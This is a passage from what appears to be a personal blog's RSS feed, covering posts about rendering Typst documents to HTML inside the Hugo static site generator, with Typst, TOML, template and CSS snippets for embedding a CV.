-1.529 -1.122 -2.365 l -2.068 -2.332 c -0.143 -0.16499999 -0.13199997 -0.15399998 -0.13199997 -0.473 h 4.081 l 0.31899977 1.98 h -0.36299992 c -0.08799982 -0.561 -0.16499996 -0.88 -0.23099995 -0.979 c -0.05499983 -0.055000067 -0.385 -0.07700002 -0.99 -0.07700002 h -1.8369999 l 1.0669999 1.045 c 0.7479999 0.7040001 1.694 1.4629999 2.0130002 2.046 c 0.21999979 0.38500023 0.32999992 0.77 0.32999992 1.1550002 c 0 1.2979999 -1.0120001 2.1559997 -2.3320003 2.1559997 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;
&lt;/div&gt;
&lt;p&gt;(Don’t ask me what this means, I just copied it &lt;a href="https://typst.app/docs/reference/math/"&gt;from the docs&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;Emojis and icons are super easy 🐈️, just use &lt;code&gt;#emoji.cat&lt;/code&gt; 💥&lt;br&gt;Because it’s a proper programming language, you can do loops! This source generates a list:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typst"&gt;&lt;span style="color: #d73948"&gt;#&lt;/span&gt;&lt;span style="color: #d73948"&gt;for&lt;/span&gt; i &lt;span style="color: #d73948"&gt;in&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;range&lt;/span&gt;(&lt;span style="color: #b60157"&gt;3&lt;/span&gt;){&lt;br&gt; i &lt;span style="color: #d73948"&gt;+=&lt;/span&gt; &lt;span style="color: #b60157"&gt;1&lt;/span&gt;&lt;br&gt; [&lt;span style="color: #8b41b1"&gt;-&lt;/span&gt; Loop #{i}, #{i &lt;span style="color: #d73948"&gt;==&lt;/span&gt; &lt;span style="color: #b60157"&gt;2&lt;/span&gt;}, &lt;span style="color: #4b69c6"&gt;#&lt;/span&gt;&lt;span style="color: #4b69c6"&gt;lower&lt;/span&gt;(&lt;span style="color: #4b69c6"&gt;lorem&lt;/span&gt;(i))]&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Loop 1, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;false&lt;/span&gt;&lt;/code&gt;, lorem.&lt;/li&gt;
&lt;li&gt;Loop 2, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;true&lt;/span&gt;&lt;/code&gt;, lorem ipsum.&lt;/li&gt;
&lt;li&gt;Loop 3, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;false&lt;/span&gt;&lt;/code&gt;, lorem ipsum dolor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because Typst is just generating HTML, the CSS styling works as it normally would on your site.&lt;/p&gt;
&lt;p&gt;There are, as always, some sticking points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you want to render into PDF with the normal Typst CLI (&lt;code&gt;typst compile foo.typ&lt;/code&gt;), Hugo’s shortcodes are a bit problematic. In Hugo, you can use the &lt;code&gt;{{&amp;lt; relref "typst-and-hugo" &gt;}}&lt;/code&gt; shortcode to link to other pages, which renders to → &lt;code&gt;/blog/typst-and-hugo/&lt;/code&gt;. While being perfectly well understood by Hugo, these shortcodes are not well formed Typst code, so the Typst compiler will barf when it finds them.&lt;br&gt;I suspect you could get Hugo to just handle the first step of rendering the shortcodes, then dumping this mostly still Typst code to a file. This technique would work for simple things like the &lt;code&gt;relref&lt;/code&gt; example, where all you get back is text, but wouldn’t work for things like images, where the shortcode generates a bunch of HTML that Typst definitely can’t understand!&lt;/li&gt;
&lt;li&gt;Adjacent to the previous point, with Hugo you add post metadata in a front meta section of the document, delimited with &lt;code&gt;---&lt;/code&gt; characters. Typst doesn’t mind these characters, but you’ll want to strip them somehow if you want to render to PDF as well as HTML, otherwise the raw YAML metadata will show up in your PDF.&lt;/li&gt;
&lt;li&gt;General pain from using a fork of Hugo, it broke my CI. The GitHub Action I had set up to automatically build the site unsurprisingly doesn’t know to use my Hugo fork to build things (and it’s not super trivial to make it use some custom binary).&lt;/li&gt;
&lt;li&gt;Of course: it doesn’t generate HTML in the same way as Hugo’s Markdown renderer! This means if your CSS makes some assumptions about how the HTML structured, you’ll need to make changes. Expect footnotes and code blocks to behave differently.&lt;/li&gt;
&lt;li&gt;Performance: the Typst compiler is pretty fast, but there is inevitable overhead for rendering via an external process. Once you’ve got hundreds or thousands of pages, I think this setup will crawl!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To give it a try yourself, you’ll need to build &lt;a href="https://github.com/GeorgeHoneywood/hugo/tree/typst"&gt;my Hugo fork&lt;/a&gt; from source. I think something like this will work, once you’ve cloned the repo:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Switch to the &lt;code&gt;typst&lt;/code&gt; branch&lt;/li&gt;
&lt;li&gt;Build with &lt;code&gt;CGO_ENABLED=1 go build&lt;/code&gt; (add &lt;code&gt;-tags extended&lt;/code&gt; if you need it). You’ll need a pretty modern Go toolchain, at least &lt;code&gt;v1.24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use the built &lt;code&gt;hugo&lt;/code&gt; binary to generate your site. You can either add it to &lt;code&gt;$PATH&lt;/code&gt;, or just use an explicit path to the binary, &lt;code&gt;path/to/clone/of/hugo/hugo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Then make some pages with &lt;code&gt;.typ&lt;/code&gt; extensions, and Hugo will use the Typst renderer&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Full disclosure: I am not planning on maintaining this fork, but the patchset is pretty mimimal, so should be easy enough to keep up to date with upstream. For those curious, you can have a look at the source for this post &lt;a href="https://raw.githubusercontent.com/GeorgeHoneywood/george.honeywood.org.uk/master/content/blog/typst-and-hugo-properly/index.typ"&gt;here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Typst + Hugo</title><link>https://george.honeywood.org.uk/blog/typst-and-hugo/</link><pubDate>Mon, 27 Oct 2025 18:16:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst-and-hugo/</guid><description>&lt;p&gt;&lt;em&gt;(2025-11-02 update: I&amp;rsquo;ve now done this much more cleanly, by forking and modifying Hugo such that it can render &lt;code&gt;.typ&lt;/code&gt; files directly. See my new post &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/"
&gt;here&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One slightly vain thing that I&amp;rsquo;ve wanted to do for a while is have my CV available in both PDF and HTML form, without the hassle of keeping two different versions in sync.
On the face of it, this sounds pretty trivial, just write in Markdown, then use Pandoc to export to both formats.&lt;br&gt;
If only I didn&amp;rsquo;t care about styling!&lt;/p&gt;
&lt;p&gt;Fortunately for me, &lt;a href="https://george.honeywood.org.uk/blog/typst/"
&gt;Typst&lt;/a&gt; (the typesetting system I use for my CV), recently &lt;a href="https://typst.app/docs/reference/html/"
target="_blank" rel="noreferrer noopener"
&gt;gained the ability to output HTML&lt;/a&gt;.
It generates unstyled, semantic HTML, which is exactly what you want for embedding it into an existing website.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve updated my CV template &lt;a href="https://github.com/GeorgeHoneywood/alta-typst"
target="_blank" rel="noreferrer noopener"
&gt;Alta Typst&lt;/a&gt; to use this new feature. The bulk of the work was adding conditionals, for when you want to control exactly how the HTML is structured. Where before I had this tiny one line function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;term&lt;/span&gt;(period, location) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;)[&lt;span style="color:#a6e22e"&gt;#icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;) #period &lt;span style="color:#a6e22e"&gt;#h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;#icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;) #location]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I now have this 20 line monstrosity:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;term&lt;/span&gt;(period, location) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; context {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// PDF == paged&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;() &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;paged&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; period
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; location
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; style: &lt;span style="color:#e6db74"&gt;&amp;#34;display: flex; align-items: center; gap: 10px;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(period)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(location)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Admittedly, you could make this a lot smaller, but this is what the formatter wants! This will give you HTML output that lays out fairly similar to the PDF, thanks to the inline style.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_4ef00e08c43b29b1.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_c5c420598170434.webp 320w, https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_e9684cd1ccd50d08.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_bf7e7c755c37b288.jpg'
width="657"
height="178"
loading="lazy"
alt='Comparison of Typst rendered to HTML (top) and PDF (bottom)'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Above is HTML output, below is PDF output
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The magical part is the icons, these are embedded as SVG directly in the HTML doc &amp;ndash; it&amp;rsquo;s not particularly efficient when you&amp;rsquo;ve got the same icon reused a few times, but it sure is easy! This also works for maths, it just gets directly embedded as SVG.&lt;/p&gt;
&lt;p&gt;There are only a couple of primitives:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Insert specific HTML elements using e.g. &lt;code&gt;html.div()&lt;/code&gt; or &lt;code&gt;html.span()&lt;/code&gt;, and add any attributes as desired.&lt;/li&gt;
&lt;li&gt;Render Typst content direct to SVG, with &lt;code&gt;html.frame()&lt;/code&gt;. This is useful for icons, diagrams, and maths, things that don&amp;rsquo;t directly correspond to HTML.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hugo (the static site generator used for this blog), can plonk the Typst generated HTML inside the site base template, so it inherits the usual styling and navigation.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m definitely not a Hugo expert, but the following seems to work for embedding a single Typst page.&lt;br&gt;
I added the new page to the main menu in &lt;code&gt;config.toml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# config.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[[&lt;span style="color:#a6e22e"&gt;menu&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;identifier&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;cv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;CV&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;CV&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;/cv/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# hack to make hugo rebuild when the CV changes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# still need to refresh the page manually, live-reload doesn&amp;#39;t work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mounts&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;source&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;cv/georgehoneywood-cv.html&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;assets/georgehoneywood-cv.html&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mounts&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;source&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#39;assets&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#39;assets&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In parallel, I run Typst exporting to HTML from the &lt;code&gt;cv&lt;/code&gt; folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/george.honeywood.org.uk/cv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; typst watch --format html --features html georgehoneywood-cv.typ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Template for the &lt;code&gt;/cv/&lt;/code&gt; page:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- layouts/page/cv.html --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- pick up styling from scss/pages/cv.scss --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ define &amp;#34;styles&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ $.Scratch.Set &amp;#34;style_opts&amp;#34; (dict &amp;#34;src&amp;#34; &amp;#34;scss/pages/cv.scss&amp;#34; &amp;#34;dest&amp;#34; &amp;#34;css/cv.css&amp;#34;) }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- wrap in base template --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ define &amp;#34;main&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file := resources.Get &amp;#34;georgehoneywood-cv.html&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = $file.Content }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- strip out typst HTML boilerplate, we just need raw body --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = index (strings.Split $file &amp;#34;&amp;lt;body&amp;gt;\n &amp;lt;div&amp;gt;\n &amp;#34;) 1 }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = index (strings.Split $file &amp;#34;&amp;lt;/div&amp;gt;\n &amp;lt;/body&amp;gt;&amp;#34;) 0 }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div class=&amp;#34;flex-wrapper&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;post__container&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;post&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;article class=&amp;#34;post__content&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;!-- print out the CV content --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ $file | safeHTML}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ partial &amp;#34;anchored-headings.html&amp;#34; .Content }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/article&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;footer class=&amp;#34;post__footer&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ partial &amp;#34;social-icons.html&amp;#34; .}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;p&amp;gt;{{ replace .Site.Copyright &amp;#34;{year}&amp;#34; now.Year | safeHTML}}&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/footer&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As Typst outputs a standalone HTML document, including &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;, you need to strip these out if you want to embed the output in a template.
You&amp;rsquo;ll also need some boilerplate content file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# content/cv.md&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;layout&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;cv&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;CV&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the aforementioned CSS file, the only clever thing is inverting the colour of the Typst &lt;code&gt;html.frame()&lt;/code&gt; SVG elements when the browser is set to dark mode.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* scss/pages/cv.scss */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;prefers-color-scheme&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;dark&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;typst-frame&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;filter&lt;/span&gt;: invert(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go forth and &lt;a href="https://george.honeywood.org.uk/cv/"
&gt;view the HTML result!&lt;/a&gt; (cf. the original &lt;a href="https://george.honeywood.org.uk/georgehoneywood-cv.pdf"
&gt;PDF version&lt;/a&gt;). This is generated from &lt;a href="https://github.com/GeorgeHoneywood/george.honeywood.org.uk/blob/master/cv/georgehoneywood-cv.typ"
target="_blank" rel="noreferrer noopener"
&gt;this Typst source&lt;/a&gt;, using my &lt;a href="https://github.com/GeorgeHoneywood/alta-typst/blob/master/alta-typst.typ"
target="_blank" rel="noreferrer noopener"
&gt;Alta Typst template&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m reasonably pleased with how it looks. While this setup works well enough for one-off pages, it doesn&amp;rsquo;t really scale to writing individual posts in Typst. I think you could hack something together with page resources and a shortcode to handle that case.&lt;/p&gt;</description></item><item><title>Bodging a brouter</title><link>https://george.honeywood.org.uk/blog/bodging-a-brouter/</link><pubDate>Fri, 17 Oct 2025 19:20:35 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/bodging-a-brouter/</guid><description>&lt;p&gt;I wanted to do something a bit weird the other day.&lt;br&gt;
